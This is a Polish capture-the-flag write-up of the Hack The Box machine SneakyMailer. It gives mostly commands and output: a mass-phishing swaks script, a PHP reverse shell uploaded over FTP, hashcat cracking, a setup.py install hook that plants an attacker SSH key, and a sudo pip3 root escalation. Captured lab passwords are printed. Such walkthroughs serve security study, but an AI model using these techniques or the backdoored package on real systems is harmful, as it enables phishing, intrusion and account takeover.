Spis treści
Wstępna enumeracja & punkt zaczepienia
Jak zwykle enumearcję rozpoczynamy skanowaniem w poszukiwaniu otwartych portów:
sudo nmap -p- -A -sV -v -T5 -Pn -n -oN nmap/allports.nmap 10.10.10.197
Wynik:
Nmap scan report for 10.10.10.197 Host is up (0.064s latency). Not shown: 65521 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 57:c9:00:35:36:56:e6:6f:f6:de:86:40:b2:ee:3e:fd (RSA) | 256 d8:21:23:28:1d:b8:30:46:e2:67:2d:59:65:f0:0a:05 (ECDSA) |_ 256 5e:4f:23:4e:d4:90:8e:e9:5e:89:74:b3:19:0c:fc:1a (ED25519) 25/tcp open smtp Postfix smtpd |smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING, 80/tcp open http nginx 1.14.2 | http-methods: | Supported Methods: GET HEAD POST OPTIONS |http-server-header: nginx/1.14.2 |_http-title: Did not follow redirect to http://sneakycorp.htb 143/tcp open imap Courier Imapd (released 2018) |_imap-capabilities: OK NAMESPACE completed UTF8=ACCEPTA0001 QUOTA THREAD=REFERENCES IDLE ACL2=UNION UIDPLUS CHILDREN THREAD=ORDEREDSUBJECT CAPABILITY ENABLE STARTTLS ACL IMAP4rev1 SORT | ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US | Subject Alternative Name: email:postmaster@example.com | Issuer: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US | Public Key type: rsa | Public Key bits: 3072 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2020-05-14T17:14:21 | Not valid after: 2021-05-14T17:14:21 | MD5: 3faf 4166 f274 83c5 8161 03ed f9c2 0308 |_SHA-1: f79f 040b 2cd7 afe0 31fa 08c3 b30a 5ff5 7b63 566c |_ssl-date: TLS randomness does not represent time 993/tcp open ssl/imap Courier Imapd (released 2018) |_imap-capabilities: OK NAMESPACE completed UTF8=ACCEPTA0001 QUOTA AUTH=PLAIN IDLE ACL2=UNION THREAD=REFERENCES CHILDREN ENABLE CAPABILITY THREAD=ORDEREDSUBJECT UIDPLUS ACL IMAP4rev1 SORT | ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US | Subject Alternative Name: email:postmaster@example.com | Issuer: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US | Public Key type: rsa | Public Key bits: 3072 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2020-05-14T17:14:21 | Not valid after: 2021-05-14T17:14:21 | MD5: 3faf 4166 f274 83c5 8161 03ed f9c2 0308 |_SHA-1: f79f 040b 2cd7 afe0 31fa 08c3 b30a 5ff5 7b63 566c |_ssl-date: TLS randomness does not represent time 2510/tcp filtered fjappmgrbulk 5131/tcp filtered unknown 8080/tcp open http nginx 1.14.2 | http-methods: | Supported Methods: GET HEAD |_http-open-proxy: Proxy might be redirecting requests |_http-server-header: nginx/1.14.2 |_http-title: Welcome to nginx! 27041/tcp filtered unknown 33747/tcp filtered unknown 54027/tcp filtered unknown 61221/tcp filtered unknown 62966/tcp filtered unknown Aggressive OS guesses: Linux 2.6.32 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%), Linux 3.2 - 4.9 (92%), Linux 3.7 - 3.10 (92%) No exact OS matches for host (test conditions non-ideal). Uptime guess: 17.275 days (since Mon Aug 17 04:36:12 2020) Network Distance: 2 hops TCP Sequence Prediction: Difficulty=264 (Good luck!) IP ID Sequence Generation: All zeros Service Info: Host: debian; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 8888/tcp) HOP RTT ADDRESS 1 71.77 ms 10.10.14.1 2 71.89 ms 10.10.10.197
Skanowanie pokazało sporo możliwych wektorów do przeprowadzania ataków. Faktem godnym odnotowania jest to, że istnieje serwer pocztowy, dwa serwery webowe oraz serwer FTP.
Na początku skupiłem się na serwerach webowych. Po przejściu na stronę, od razu zostałem przekierowany na domenę sneakycorp.htb. Dodałem wpis do pliku /etc/hosts:
10.10.10.197 sneakycorp.htb
Następnie przeprowadziłem enumerację dostępnych ścieżek:
gobuster dir -u http://sneakycorp.htb -w /usr/share/wordlists/dirb/common.txt -s 200,301,302
Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@FireFart) [+] Url: http://sneakycorp.htb [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirb/common.txt [+] Status codes: 200,301,302 [+] User Agent: gobuster/3.0.1 [+] Timeout: 10s 2020/09/03 12:18:12 Starting gobuster /css (Status: 301) /img (Status: 301) /index.php (Status: 200) /js (Status: 301) /vendor (Status: 301) 2020/09/03 12:18:51 Finished
gobuster dir -u http://10.10.10.197:8080/ -w /usr/share/wordlists/dirb/common.txt -s 200,301,302
Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@FireFart) [+] Url: http://10.10.10.197:8080/ [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirb/common.txt [+] Status codes: 200,301,302 [+] User Agent: gobuster/3.0.1 [+] Timeout: 10s 2020/09/03 12:20:29 Starting gobuster /index.html (Status: 200) 2020/09/03 12:21:06 Finished
Jak do tej pory nic ciekawego nie znalazłem…..
Sprawdźmy czy występują jakieś poddomeny. Do tego wykorzystamy narzędzie ffuf. Pobrałem ffufa z githuba i zainstalowałem.
./ffuf -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://sneakycorp.htb/ -H "Host: FUZZ.sneakycorp.htb" -fs 185
/'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v1.2.0-git
:: Method : GET
:: URL : http://sneakycorp.htb/
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.sneakycorp.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403
:: Filter : Response size: 185
dev [Status: 200, Size: 13737, Words: 4007, Lines: 341]
Zatem mamy poddomenę dev. Dodajemy ją również do pliku /etc/hosts:
10.10.10.197 dev.sneakycorp.htb
Przechodząc na adres poddomeny, wydaje się być to kopia domeny sneakycorp.htb. Nic szczególnego, przechodzimy do dalszej enumeracji. Przechodząc na zakładkę TEAM, mamy bazę emaili. Wchodzę do źródła strony i kopiuję maile do pliku:
Następnie modyfikuję plik tak aby zostały mi tylko adresy e-mail:
cat page.txt | grep @ | cut -d ">" -f 2 | cut -d "<" -f 1 > mails.txt
Bingo mamy wszystkie adresy zapisane w pliku mails.txt.
Mając wszystkie maile danej korporacji oraz wiedząc, że jest dostępny serwer pocztowy, możemy przeprowadzić atak phishingowy.
Zapoznałem się z artykułem i naspisałem nastepujący skrypt:
#!/bin/bash for i in $(cat mails.txt); do swaks --to $i --from foo@sneakymailer.htb --header "Subject: Send reply to http://10.10.14.10" --body "Please give me your password!!!" --server 10.10.10.197 done
Skrypt rozsyła wiadomość o podanu hasła do wszystkich maili zapisanych w pliku mail.txt. Uruchomiłem skrypt i ustawiłem listenera:
$ ./script.sh === Trying 10.10.10.197:25… === Connected to 10.10.10.197. <- 220 debian ESMTP Postfix (Debian/GNU) -> EHLO kali <- 250-debian <- 250-PIPELINING <- 250-SIZE 10240000 <- 250-VRFY <- 250-ETRN <- 250-STARTTLS <- 250-ENHANCEDSTATUSCODES <- 250-8BITMIME <- 250-DSN <- 250-SMTPUTF8 <- 250 CHUNKING -> MAIL FROM:foo@sneakymailer.htb <- 250 2.1.0 Ok -> RCPT TO:tigernixon@sneakymailer.htb <- 250 2.1.5 Ok -> DATA <- 354 End data with . -> Date: Thu, 03 Sep 2020 12:52:07 +0200 -> To: tigernixon@sneakymailer.htb -> From: foo@sneakymailer.htb -> Subject: Send reply to http://10.10.14.10 -> Message-Id: <20200903125207.008004@kali> -> X-Mailer: swaks v20190914.0 jetmore.org/john/code/swaks/ -> -> Please give me your password!!! -> -> -> . <- 250 2.0.0 Ok: queued as 8D8462480A -> QUIT <- 221 2.0.0 Bye
Po chwili dostałem odpowiedź:
$ sudo nc -nlvp 80 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::80 Ncat: Listening on 0.0.0.0:80 Ncat: Connection from 10.10.10.197. Ncat: Connection from 10.10.10.197:56550. POST / HTTP/1.1 Host: 10.10.14.10 User-Agent: python-requests/2.23.0 Accept-Encoding: gzip, deflate Accept: / Connection: keep-alive Content-Length: 185 Content-Type: application/x-www-form-urlencoded firstName=Paul&lastName=Byrd&email=paulbyrd%40sneakymailer.htb&password=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt&rpassword=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt
Używając dekodera URL, zdekodowałem body odpowiedzi i uzykałem wartościowe informacje:
Wykorzystując phishing uzyskałem username oraz password jednego z użytkowników. Jednakże nie znalazłem żadnego zastosowania pozyskanych credentiali. Mając na uwadze to że port 143 oraz 993 (IMAP) jest otwarty, obejrzałem video ippseca, które znacząco popchnęło moje działania do przodu.
Zainstalowałem Evolution i odpowiednio skonfigurowałem zgodnie z video (przy konfiguracji użyłem powyżej pozyskanych danych). Okazało się, że na skrzynce paulbyrd@sneakymailer.htb w zakładce wysłane znajdują się dwie wiadomości:
Mamy kolejne credentaile. Wypróbowałem je logując się do FTP:
$ ftp 10.10.10.197 Connected to 10.10.10.197. 220 (vsFTPd 3.0.3) Name (10.10.10.197:mateusz): developer 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. drwxrwxr-x 8 0 1001 4096 Sep 03 04:50 dev
Mamy dostęp do ftp!!
Kolejnym krokiem, który wykonałem było uzyksanie reverse-shella poprzez osadzenie go na serwerze ftp:
ftp> put rev.php local: rev.php remote: rev.php 200 PORT command successful. Consider using PASV. 150 Ok to send data. 226 Transfer complete. 78 bytes sent in 0.00 secs (906.8080 kB/s) ftp> ls 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. drwxr-xr-x 2 0 0 4096 May 26 19:52 css drwxr-xr-x 2 0 0 4096 May 26 19:52 img -rwxr-xr-x 1 0 0 13742 Jun 23 09:44 index.php drwxr-xr-x 3 0 0 4096 May 26 19:52 js drwxr-xr-x 2 0 0 4096 May 26 19:52 pypi --wxrw-rw- 1 1001 1001 78 Sep 03 04:49 rev.php drwxr-xr-x 4 0 0 4096 May 26 19:52 scss -rwxr-xr-x 1 0 0 26523 May 26 20:58 team.php drwxr-xr-x 8 0 0 4096 May 26 19:52 vendor 226 Directory send OK.
I odwołanie się poprzez przeglądarkę:
http://dev.sneakycorp.htb/rev.php
W wyniku otrzymaliśmy zwrotne połączenie:
$ nc -nlvp 1234 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::1234 Ncat: Listening on 0.0.0.0:1234 Ncat: Connection from 10.10.10.197. Ncat: Connection from 10.10.10.197:46342. Linux sneakymailer 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64 GNU/Linux 04:53:29 up 11:12, 0 users, load average: 0.16, 0.10, 0.04 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ id uid=33(www-data) gid=33(www-data) groups=33(www-data) $ whoami www-data
W taki oto sposób uzyskałem dostęp do maszyny jako www-data.
Uzyskanie uprawnień użytkownika
Po pierwsze zrobiłem spawning interkatywnego shella wykorzystując do tego pythona:
$ python -c 'import pty; pty.spawn("/bin/bash")' www-data@sneakymailer:/$
Następnie przelogowałem się na użytkownika developer, wcześniej uzyskanymi credentialami:
www-data@sneakymailer:/$ su developer su developer Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C developer@sneakymailer:/$ id id uid=1001(developer) gid=1001(developer) groups=1001(developer)
Kolejnym krokiem było przerzucenie na maszynę skryptu enumerującego LinEnum oraz uruchomienie go. Skrypt pokazał ciekawe wynik:
[-] htpasswd found - could contain passwords:
/var/www/pypi.sneakycorp.htb/.htpasswd
pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/
Wykrył hash hasła, który przekopiowałem do pliku. Ponadto nazwa folderu (pypi.sneakycorp.htb) sugeruje kolejną poddomenę. Dodałem ją do pliku /etc/hosts na swoim Kalim. Następnie zająłem się próbą scracowania uzyskanego hasha:
Identyfikacja hasha:
Użycie narzędzia hashcat:
sudo hashcat -a 0 -m 1600 hash.txt /usr/share/wordlists/rockyou.txt --force
Wynik:
$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/:soufianeelhaoui
Session……….: hashcat
Status………..: Cracked
Hash.Name……..: Apache $apr1$ MD5, md5apr1, MD5 (APR)
Hash.Target……: $apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/
Time.Started…..: Wed Sep 9 19:18:40 2020, (5 mins, 37 secs)
Time.Estimated…: Wed Sep 9 19:24:17 2020, (0 secs)
Guess.Base…….: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue……: 1/1 (100.00%)
Speed.#1………: 10751 H/s (11.50ms) @ Accel:256 Loops:125 Thr:1 Vec:8
Recovered……..: 1/1 (100.00%) Digests
Progress………: 3614720/14344385 (25.20%)
Rejected………: 0/3614720 (0.00%)
Restore.Point….: 3613696/14344385 (25.19%)
Restore.Sub.#1…: Salt:0 Amplifier:0-1 Iteration:875-1000
Candidates.#1….: soul706 -> sotoba6
W taki oto sposób pozyksałem hasło użytkownika pypi.
W międzyczasie sprawdziłem także wszystkie aktywne połączenia sieciowe na maszynie SneakyMailer:
developer@sneakymailer:/$ netstat -tulnp
netstat -tulnp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:25 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:5000 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 :::25 :::* LISTEN -
tcp6 0 0 :::993 :::* LISTEN -
tcp6 0 0 :::143 :::* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::8080 :::* LISTEN -
tcp6 0 0 :::21 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
Aktywne połączenie na porcie 8080, sugeruje że na maszynie jest uruchomiony pypiserver. Niezwłocznie to sprawdziłem:
Moje przypuszczenia jak najbardziej potwierdziły się! Jednakże przez dłuższy czas nie wiedziałem jak zabrać się do dalszej eksplitacji. Postanowiłem utworzyć paczkę i wgrać ją na serwer i zobaczyć co się stanie. Zrobiłem to według tego poradnika.
Zamysłem ataku będzie nadpisanie klucza publicznego użytkownika low, własnym wcześniej utworzonym. Pozwoli nam to na uwierzytelnienie się poprzez protokół ssh kluczem prywatnym utworzonym na lokalnej maszynie.
Towrzę parę kluczy (publiczny i prywatny) na maszynie lokalnej:
ssh-keygen -b 2048 -t ed25519 -f ./key -q -N ""
Następnie tworzę dwa pliki:
setup.py (kopiuję wcześniej utworzony klucz publiczny do tego pliku):
import setuptools
try:
print('hello')
with open ('/home/low/.ssh/authorized_keys','a') as f:
f.writelines('ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBgeE0MkRHFmQGADaqEEkqT4K9nnGqk4R8wihtkmtndt mateusz@kali')
except Exception as e:
pass
setuptools.setup(
name="olszi", # Replace with your own username
version="0.0.1",
author="Example Author",
author_email="author@example.com",
description="A small example package",
long_description="",
long_description_content_type="text/markdown",
url="https://github.com/pypa/sampleproject",
packages=setuptools.find_packages(),
classifiers=[
"Programming Language :: Python :: 3",
"License :: OSI Approved :: MIT License",
"Operating System :: OS Independent",
],
)
.pypirc:
[distutils]
index-servers =
pypi
local
[pypi]
username:pypi
password:soufianeelhaoui
[local]
repository: http://pypi.sneakycorp.htb:8080/
username: pypi
password: soufianeelhaoui
Utworzyłem folder w katalogu /tmp na maszynie SneakyMailer oraz przenoszę tam utworzone wcześniej pliki. Zmieniłem uprawnienia pliku .pypirc:
developer@sneakymailer:/tmp/hello$ chmod 600 .pypirc chmod 600 .pypirc
Ustawiłem zmienną środowiskową HOME na ścieżkę w której znajuduje się .pypirc, po to aby mógł zostać użyty do uruchomienia setup.py:
developer@sneakymailer:/tmp/hello$ chmod 777 setup.py chmod 777 setup.py developer@sneakymailer:/tmp/hello$ HOME=/tmp/hello HOME=/tmp/hello
Oraz dokonałem uploadu:
developer@sneakymailer:~$ python3 setup.py sdist register -r local upload -r local <n3 setup.py sdist register -r local upload -r local hello running sdist running egg_info creating olszi.egg-info writing olszi.egg-info/PKG-INFO writing dependency_links to olszi.egg-info/dependency_links.txt writing top-level names to olszi.egg-info/top_level.txt writing manifest file 'olszi.egg-info/SOURCES.txt' reading manifest file 'olszi.egg-info/SOURCES.txt' writing manifest file 'olszi.egg-info/SOURCES.txt' warning: sdist: standard file not found: should have one of README, README.rst, README.txt, README.md running check creating olszi-0.0.1 creating olszi-0.0.1/olszi.egg-info copying files to olszi-0.0.1… copying setup.py -> olszi-0.0.1 copying olszi.egg-info/PKG-INFO -> olszi-0.0.1/olszi.egg-info copying olszi.egg-info/SOURCES.txt -> olszi-0.0.1/olszi.egg-info copying olszi.egg-info/dependency_links.txt -> olszi-0.0.1/olszi.egg-info copying olszi.egg-info/top_level.txt -> olszi-0.0.1/olszi.egg-info Writing olszi-0.0.1/setup.cfg creating dist Creating tar archive removing 'olszi-0.0.1' (and everything under it) running register Registering olszi to http://pypi.sneakycorp.htb:8080/ Server response (200): OK WARNING: Registering is deprecated, use twine to upload instead (https://pypi.org/p/twine/) running upload Submitting dist/olszi-0.0.1.tar.gz to http://pypi.sneakycorp.htb:8080/ Server response (200): OK WARNING: Uploading via this command is deprecated, use twine to upload instead (https://pypi.org/p/twine/)
Sprawdziłem w międzyczasie czy klucz publiczny użytkownika low nadpisał się:
developer@sneakymailer:~$ cat /home/low/.ssh/authorized_keys cat /home/low/.ssh/authorized_keys ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBgeE0MkRHFmQGADaqEEkqT4K9nnGqk4R8wihtkmtndt mateusz@kalid
Klucz publiczny jest taki sam jak w naszym wcześniejszym skrypcie.
Spróbujmy zatem zalogować się poprzez ssh na użytkownika low, używając lokalnego klucza prywatnego:
mateusz@kali:~/HackTheBoxMachines/SneakyMailer$ ssh -i key low@10.10.10.197
Linux sneakymailer 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
No mail.
Last login: Tue Jun 9 03:02:52 2020 from 192.168.56.105
low@sneakymailer:~$ id;whoami
uid=1000(low) gid=1000(low) groups=1000(low),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),119(pypi-pkg)
low
Uzyskałem dostęp do maszyny jako użytkownik low.
Uzyskanie uprawnień roota
Sprawdziłem czy użytkownik może wykonywać jakiekolwiek komendy na maszynie z uprawnieniami sudo:
low@sneakymailer:~$ sudo -l
sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Matching Defaults entries for low on sneakymailer:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User low may run the following commands on sneakymailer:
(root) NOPASSWD: /usr/bin/pip3
Bardzo cenna informacja. Możemy wykonać polecenie pip3 na maszynie jako root.
Na stronie GTFOBins znalazłem jak wykorzystać powyższy fakt by uzyskać uprawnienia roota:
Wykonałem powyższe polecenia w celu uzyskania uprawnień roota:
low@sneakymailer:~$ TF=$(mktemp -d)
low@sneakymailer:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
low@sneakymailer:~$ sudo pip3 install $TF
sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Processing /tmp/tmp.29sA1tqlKb
# id;whoami
uid=0(root) gid=0(root) groups=0(root)
root